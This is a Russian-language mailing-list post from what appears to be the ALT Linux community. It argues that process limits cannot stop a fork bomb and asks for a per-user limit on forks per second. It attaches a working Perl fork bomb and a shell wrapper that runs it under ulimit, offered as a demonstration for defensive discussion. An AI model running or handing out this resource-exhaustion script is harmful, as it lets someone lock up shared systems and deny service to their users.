[Comm] anti fork-bomb

[Denis Smirnov]

Будет ли когда-нибудь в Мастере anti fork-bomb патч?

Дело в том, что лимита на количество процессов против правильно
сделаного fork-bomb недостаточно. Потому как если всё сделано правильно,
то количество непрерывно работающих процессов поддерживается на одном
уровне, и основная идея в том, чтобы пожирать ресурсы машины большим
количеством fork'ов.

Единственный способ, который я себе представляю для борьбы с такими
бомбами -- ограничение по количеству fork'ов в секунду на пользователя.

Простой пример подобной бомбы в аттаче -- у меня после этого
залогиниться в систему весьма тяжко.

-- 
С уважением, Денис

http://freesource.info
----------- следующая часть -----------
#!/usr/bin/perl -w

my $can_fork = 1;		# Можно ли делать повторный fork?
my $num_processes = shift || 32; # количество процессов

# Обработка завершения ребёнка
sub REAPER {
    wait;
    $can_fork = 1;
    $SIG{CHLD} = \&REAPER;  # loathe sysV
}

# Делаем fork, потом chikd завершается, а parent делает новый fork
sub eat_resources()
{
    while( 1 )
    {
	if( $can_fork )
	{
	    $can_fork = 0;
	    exit unless fork();
	}
    }
}


# Основная программа -- делаем указаное количество fork'ов, в каждом из
# которых запускаем пожиралку ресурсов
for( my $i = 0; $i < $num_processes; $i++ )
{
    if( !fork() )
    {
	$SIG{CHLD} = \&REAPER;
	eat_resources();
    }
}

while( 1 )
{
}
----------- следующая часть -----------
#!/bin/sh
ulimit -u 128

./fork-bomb
----------- следующая часть -----------
Было удалено вложение не в текстовом формате...
Имя     : =?iso-8859-1?q?=CF=D4=D3=D5=D4=D3=D4=D7=D5=C5=D4?=
Тип     : application/pgp-signature
Размер  : 232 байтов
Описание: =?iso-8859-1?q?=CF=D4=D3=D5=D4=D3=D4=D7=D5=C5=D4?=
Url     : <http://lists.altlinux.org/pipermail/community/attachments/20030305/569be648/attachment-0005.bin>